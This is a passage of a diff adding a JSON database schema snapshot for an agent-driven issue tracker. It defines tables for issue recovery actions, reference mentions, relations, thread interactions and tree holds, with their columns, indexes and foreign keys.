"primaryKey": false, + "notNull": false + }, + "resolution_note": { + "name": "resolution_note", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resolved_at": { + "name": "resolved_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_recovery_actions_company_source_status_idx": { + "name": "issue_recovery_actions_company_source_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_recovery_actions_company_owner_status_idx": { + "name": "issue_recovery_actions_company_owner_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "owner_agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_recovery_actions_company_recovery_issue_idx": { + "name": "issue_recovery_actions_company_recovery_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "recovery_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_recovery_actions_active_source_uq": { + "name": "issue_recovery_actions_active_source_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"issue_recovery_actions\".\"status\" in ('active', 'escalated')", + "concurrently": false + }, + "issue_recovery_actions_active_fingerprint_uq": { + "name": "issue_recovery_actions_active_fingerprint_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "cause", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "fingerprint", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"issue_recovery_actions\".\"status\" in ('active', 'escalated')", + "concurrently": false + } + }, + "foreignKeys": { + "issue_recovery_actions_company_id_companies_id_fk": { + "name": "issue_recovery_actions_company_id_companies_id_fk", + "tableFrom": "issue_recovery_actions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_recovery_actions_source_issue_id_issues_id_fk": { + "name": "issue_recovery_actions_source_issue_id_issues_id_fk", + "tableFrom": "issue_recovery_actions", + "columnsFrom": [ + "source_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_recovery_actions_recovery_issue_id_issues_id_fk": { + "name": "issue_recovery_actions_recovery_issue_id_issues_id_fk", + "tableFrom": "issue_recovery_actions", + "columnsFrom": [ + "recovery_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_recovery_actions_owner_agent_id_agents_id_fk": { + "name": "issue_recovery_actions_owner_agent_id_agents_id_fk", + "tableFrom": "issue_recovery_actions", + "columnsFrom": [ + "owner_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_recovery_actions_previous_owner_agent_id_agents_id_fk": { + "name": "issue_recovery_actions_previous_owner_agent_id_agents_id_fk", + "tableFrom": "issue_recovery_actions", + "columnsFrom": [ + "previous_owner_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_recovery_actions_return_owner_agent_id_agents_id_fk": { + "name": "issue_recovery_actions_return_owner_agent_id_agents_id_fk", + "tableFrom": "issue_recovery_actions", + "columnsFrom": [ + "return_owner_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_reference_mentions": { + "name": "issue_reference_mentions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "source_issue_id": { + "name": "source_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "target_issue_id": { + "name": "target_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "source_kind": { + "name": "source_kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_record_id": { + "name": "source_record_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "document_key": { + "name": "document_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "matched_text": { + "name": "matched_text", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_reference_mentions_company_source_issue_idx": { + "name": "issue_reference_mentions_company_source_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_reference_mentions_company_target_issue_idx": { + "name": "issue_reference_mentions_company_target_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_reference_mentions_company_issue_pair_idx": { + "name": "issue_reference_mentions_company_issue_pair_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_reference_mentions_company_source_mention_record_uq": { + "name": "issue_reference_mentions_company_source_mention_record_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_record_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"issue_reference_mentions\".\"source_record_id\" is not null", + "concurrently": false + }, + "issue_reference_mentions_company_source_mention_null_record_uq": { + "name": "issue_reference_mentions_company_source_mention_null_record_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "source_kind", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"issue_reference_mentions\".\"source_record_id\" is null", + "concurrently": false + } + }, + "foreignKeys": { + "issue_reference_mentions_company_id_companies_id_fk": { + "name": "issue_reference_mentions_company_id_companies_id_fk", + "tableFrom": "issue_reference_mentions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_reference_mentions_source_issue_id_issues_id_fk": { + "name": "issue_reference_mentions_source_issue_id_issues_id_fk", + "tableFrom": "issue_reference_mentions", + "columnsFrom": [ + "source_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_reference_mentions_target_issue_id_issues_id_fk": { + "name": "issue_reference_mentions_target_issue_id_issues_id_fk", + "tableFrom": "issue_reference_mentions", + "columnsFrom": [ + "target_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_relations": { + "name": "issue_relations", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "related_issue_id": { + "name": "related_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_relations_company_issue_idx": { + "name": "issue_relations_company_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_relations_company_related_issue_idx": { + "name": "issue_relations_company_related_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "related_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_relations_company_type_idx": { + "name": "issue_relations_company_type_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_relations_company_edge_uq": { + "name": "issue_relations_company_edge_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "related_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_relations_company_id_companies_id_fk": { + "name": "issue_relations_company_id_companies_id_fk", + "tableFrom": "issue_relations", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_relations_issue_id_issues_id_fk": { + "name": "issue_relations_issue_id_issues_id_fk", + "tableFrom": "issue_relations", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_relations_related_issue_id_issues_id_fk": { + "name": "issue_relations_related_issue_id_issues_id_fk", + "tableFrom": "issue_relations", + "columnsFrom": [ + "related_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_relations_created_by_agent_id_agents_id_fk": { + "name": "issue_relations_created_by_agent_id_agents_id_fk", + "tableFrom": "issue_relations", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_thread_interactions": { + "name": "issue_thread_interactions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "continuation_policy": { + "name": "continuation_policy", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'wake_assignee'" + }, + "requested_resolver_policy": { + "name": "requested_resolver_policy", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'anyone'" + }, + "effective_resolver_policy": { + "name": "effective_resolver_policy", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'anyone'" + }, + "resolver_policy_provenance": { + "name": "resolver_policy_provenance", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'inherited'" + }, + "effective_resolver_policy_source": { + "name": "effective_resolver_policy_source", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'requested'" + }, + "idempotency_key": { + "name": "idempotency_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "source_comment_id": { + "name": "source_comment_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "source_run_id": { + "name": "source_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "title": { + "name": "title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "summary": { + "name": "summary", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "addressee_agent_id": { + "name": "addressee_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resolved_by_agent_id": { + "name": "resolved_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "resolved_by_run_id": { + "name": "resolved_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "resolved_by_user_id": { + "name": "resolved_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "payload": { + "name": "payload", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "result": { + "name": "result", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "resolved_at": { + "name": "resolved_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_thread_interactions_issue_idx": { + "name": "issue_thread_interactions_issue_idx", + "columns": [ + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_thread_interactions_company_issue_created_at_idx": { + "name": "issue_thread_interactions_company_issue_created_at_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_thread_interactions_company_issue_status_idx": { + "name": "issue_thread_interactions_company_issue_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_thread_interactions_company_issue_idempotency_uq": { + "name": "issue_thread_interactions_company_issue_idempotency_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "idempotency_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"issue_thread_interactions\".\"idempotency_key\" IS NOT NULL", + "concurrently": false + }, + "issue_thread_interactions_source_comment_idx": { + "name": "issue_thread_interactions_source_comment_idx", + "columns": [ + { + "expression": "source_comment_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_thread_interactions_addressee_agent_idx": { + "name": "issue_thread_interactions_addressee_agent_idx", + "columns": [ + { + "expression": "addressee_agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_thread_interactions_company_id_companies_id_fk": { + "name": "issue_thread_interactions_company_id_companies_id_fk", + "tableFrom": "issue_thread_interactions", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_thread_interactions_issue_id_issues_id_fk": { + "name": "issue_thread_interactions_issue_id_issues_id_fk", + "tableFrom": "issue_thread_interactions", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_thread_interactions_source_comment_id_issue_comments_id_fk": { + "name": "issue_thread_interactions_source_comment_id_issue_comments_id_fk", + "tableFrom": "issue_thread_interactions", + "columnsFrom": [ + "source_comment_id" + ], + "tableTo": "issue_comments", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_thread_interactions_source_run_id_heartbeat_runs_id_fk": { + "name": "issue_thread_interactions_source_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_thread_interactions", + "columnsFrom": [ + "source_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_thread_interactions_created_by_agent_id_agents_id_fk": { + "name": "issue_thread_interactions_created_by_agent_id_agents_id_fk", + "tableFrom": "issue_thread_interactions", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_thread_interactions_addressee_agent_id_agents_id_fk": { + "name": "issue_thread_interactions_addressee_agent_id_agents_id_fk", + "tableFrom": "issue_thread_interactions", + "columnsFrom": [ + "addressee_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_thread_interactions_resolved_by_agent_id_agents_id_fk": { + "name": "issue_thread_interactions_resolved_by_agent_id_agents_id_fk", + "tableFrom": "issue_thread_interactions", + "columnsFrom": [ + "resolved_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_thread_interactions_resolved_by_run_id_heartbeat_runs_id_fk": { + "name": "issue_thread_interactions_resolved_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_thread_interactions", + "columnsFrom": [ + "resolved_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_tree_hold_members": { + "name": "issue_tree_hold_members", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "hold_id": { + "name": "hold_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "parent_issue_id": { + "name": "parent_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "depth": { + "name": "depth", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "issue_identifier": { + "name": "issue_identifier", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "issue_title": { + "name": "issue_title", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "issue_status": { + "name": "issue_status", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "assignee_agent_id": { + "name": "assignee_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "assignee_user_id": { + "name": "assignee_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "active_run_id": { + "name": "active_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "active_run_status": { + "name": "active_run_status", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "skipped": { + "name": "skipped", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "skip_reason": { + "name": "skip_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_tree_hold_members_hold_issue_uq": { + "name": "issue_tree_hold_members_hold_issue_uq", + "columns": [ + { + "expression": "hold_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_tree_hold_members_company_issue_idx": { + "name": "issue_tree_hold_members_company_issue_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_tree_hold_members_hold_depth_idx": { + "name": "issue_tree_hold_members_hold_depth_idx", + "columns": [ + { + "expression": "hold_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "depth", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_tree_hold_members_company_id_companies_id_fk": { + "name": "issue_tree_hold_members_company_id_companies_id_fk", + "tableFrom": "issue_tree_hold_members", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_tree_hold_members_hold_id_issue_tree_holds_id_fk": { + "name": "issue_tree_hold_members_hold_id_issue_tree_holds_id_fk", + "tableFrom": "issue_tree_hold_members", + "columnsFrom": [ + "hold_id" + ], + "tableTo": "issue_tree_holds", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_tree_hold_members_issue_id_issues_id_fk": { + "name": "issue_tree_hold_members_issue_id_issues_id_fk", + "tableFrom": "issue_tree_hold_members", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_tree_hold_members_parent_issue_id_issues_id_fk": { + "name": "issue_tree_hold_members_parent_issue_id_issues_id_fk", + "tableFrom": "issue_tree_hold_members", + "columnsFrom": [ + "parent_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_tree_hold_members_assignee_agent_id_agents_id_fk": { + "name": "issue_tree_hold_members_assignee_agent_id_agents_id_fk", + "tableFrom": "issue_tree_hold_members", + "columnsFrom": [ + "assignee_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_tree_hold_members_active_run_id_heartbeat_runs_id_fk": { + "name": "issue_tree_hold_members_active_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_tree_hold_members", + "columnsFrom": [ + "active_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.issue_tree_holds": { + "name": "issue_tree_holds", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "root_issue_id": { + "name": "root_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "mode": { + "name": "mode", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "reason": { + "name": "reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "release_policy": { + "name": "release_policy", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_by_actor_type": { + "name": "created_by_actor_type", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'system'" + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_run_id": { + "name": "created_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "released_at": { + "name": "released_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "released_by_actor_type": { + "name": "released_by_actor_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "released_by_agent_id": { + "name": "released_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "released_by_user_id": { + "name": "released_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "released_by_run_id": { + "name": "released_by_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "release_reason": { + "name": "release_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "release_metadata": { + "name": "release_metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "issue_tree_holds_company_root_status_idx": { + "name": "issue_tree_holds_company_root_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "root_issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "issue_tree_holds_company_status_mode_idx": { + "name": "issue_tree_holds_company_status_mode_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "mode", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "issue_tree_holds_company_id_companies_id_fk": { + "name": "issue_tree_holds_company_id_companies_id_fk", + "tableFrom": "issue_tree_holds", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "issue_tree_holds_root_issue_id_issues_id_fk": { + "name": "issue_tree_holds_root_issue_id_issues_id_fk", + "tableFrom": "issue_tree_holds", + "columnsFrom": [ + "root_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "issue_tree_holds_created_by_agent_id_agents_id_fk": { + "name": "issue_tree_holds_created_by_agent_id_agents_id_fk", + "tableFrom": "issue_tree_holds", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "issue_tree_holds_created_by_run_id_heartbeat_runs_id_fk": { + "name": "issue_tree_holds_created_by_run_id_heartbeat_runs_id_fk", + "tableFrom": "issue_tree_holds", + "columnsFrom": [ + "created_by_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + 